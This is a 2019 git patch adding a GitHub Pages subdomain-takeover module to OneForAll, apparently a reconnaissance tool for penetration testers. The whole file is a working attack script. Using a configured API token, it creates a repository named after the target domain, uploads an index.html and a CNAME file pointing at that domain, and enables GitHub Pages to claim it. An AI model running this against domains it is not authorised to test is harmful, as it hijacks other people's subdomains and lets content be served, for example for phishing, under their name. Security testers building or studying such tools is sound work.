From dee7ee2d2c3479136cc4f3e6d6415b28c5f2acc6 Mon Sep 17 00:00:00 2001 From: shmilylty Date: Mon, 19 Aug 2019 18:11:36 +0800 Subject: [PATCH] =?UTF-8?q?=E6=B7=BB=E5=8A=A0github=E8=87=AA=E5=8A=A8?= =?UTF-8?q?=E6=8E=A5=E7=AE=A1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- oneforall/modules/autotake/github.py | 102 +++++++++++++++++++++++++++ 1 file changed, 102 insertions(+) create mode 100644 oneforall/modules/autotake/github.py diff --git a/oneforall/modules/autotake/github.py b/oneforall/modules/autotake/github.py new file mode 100644 index 0000000..2ad5a49 --- /dev/null +++ b/oneforall/modules/autotake/github.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python3 +# coding=utf-8 + +""" +github自动接管 +""" + +import json +import base64 +import requests +import config + +HEADERS = { + "Accept": "application/json, text/javascript, */*; q=0.01", + "Accept-Language": "zh-CN,zh;q=0.9", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36", +} + + +def github_takeover(url): + # 读取config配置文件 + repo_name = url + print('[*]正在读取配置文件...') + user = config.github_api_user + token = config.github_api_token + CHECK_HEADERS = { + "Authorization": 'token ' + token, + "Accept": "application/vnd.github.switcheroo-preview+json" + } + repos_url = 'https://api.github.com/repos/' + user + '/' + repo_name + repos_r = requests.get(url=repos_url, headers=CHECK_HEADERS) + # 验证token是否正确 + if 'message' in repos_r.json(): + if repos_r.json()['message'] == 'Bad credentials': + print('[*]请检查Token是否正确') + elif repos_r.json()['message'] == 'Not Found': + print('[*]正在生成接管库...') # 生成接管库 + creat_repo_dict = { + "name": repo_name, + "description": "This is a subdomain takeover Repository", + } + creat_repo_url = 'https://api.github.com/user/repos' + creat_repo_r = requests.post(url=creat_repo_url, + headers=CHECK_HEADERS, + data=json.dumps(creat_repo_dict)) + creat_repo_status = creat_repo_r.status_code + if creat_repo_status == 201: + print('[*]创建接管库' + repo_name + '成功,正在进行自动接管...') + # 接管文件生成 + # index.html文件 + html = b''' + +

Subdomain Takerover Test! + + ''' + html64 = base64.b64encode(html).decode('utf-8') + html_dict = { + "message": "my commit message", + "committer": { + "name": "user", # 提交id,非必改项 + "email": "user@163.com" # 同上 + }, + "content": html64 + } + # CNAME文件 + cname_url = bytes(url, encoding='utf-8') + cname_url64 = base64.b64encode(cname_url).decode('utf-8') + url_dict = { + "message": "my commit message", + "committer": { + "name": "user", + "email": "user@163.com" + }, + "content": cname_url64 + } + html_url = 'https://api.github.com/repos/' + user + '/' + repo_name + '/contents/index.html' + url_url = 'https://api.github.com/repos/' + user + '/' + repo_name + '/contents/CNAME' + html_r = requests.put(url=html_url, data=json.dumps(html_dict), + headers=CHECK_HEADERS) # 上传index.html + cname_r = requests.put(url=url_url, data=json.dumps(url_dict), + headers=CHECK_HEADERS) # 上传CNAME + rs = cname_r.status_code + if rs == 201: + print('[*]生成接管库成功,正在开启Github pages...') + page_url = "https://api.github.com/repos/" + user + "/" + url + "/pages" + page_dict = { + "source": { + "branch": "master" + } + } + page_r = requests.post(url=page_url, + data=json.dumps(page_dict), + headers=CHECK_HEADERS) # 开启page + if page_r.status_code == 201: + print('[+]自动接管成功,请稍后访问http://' + str(url) + '查看结果') + else: + print('[+]开启Github pages失败,请检查网络或稍后重试...') + else: + print('[+]生成接管库失败,请检查网络或稍后重试...') + elif url in repos_r.json()['name']: + print('[*]生成接管库失败,请检查https://github.com/' + user + + '?tab=repositories是否存在同名接管库...')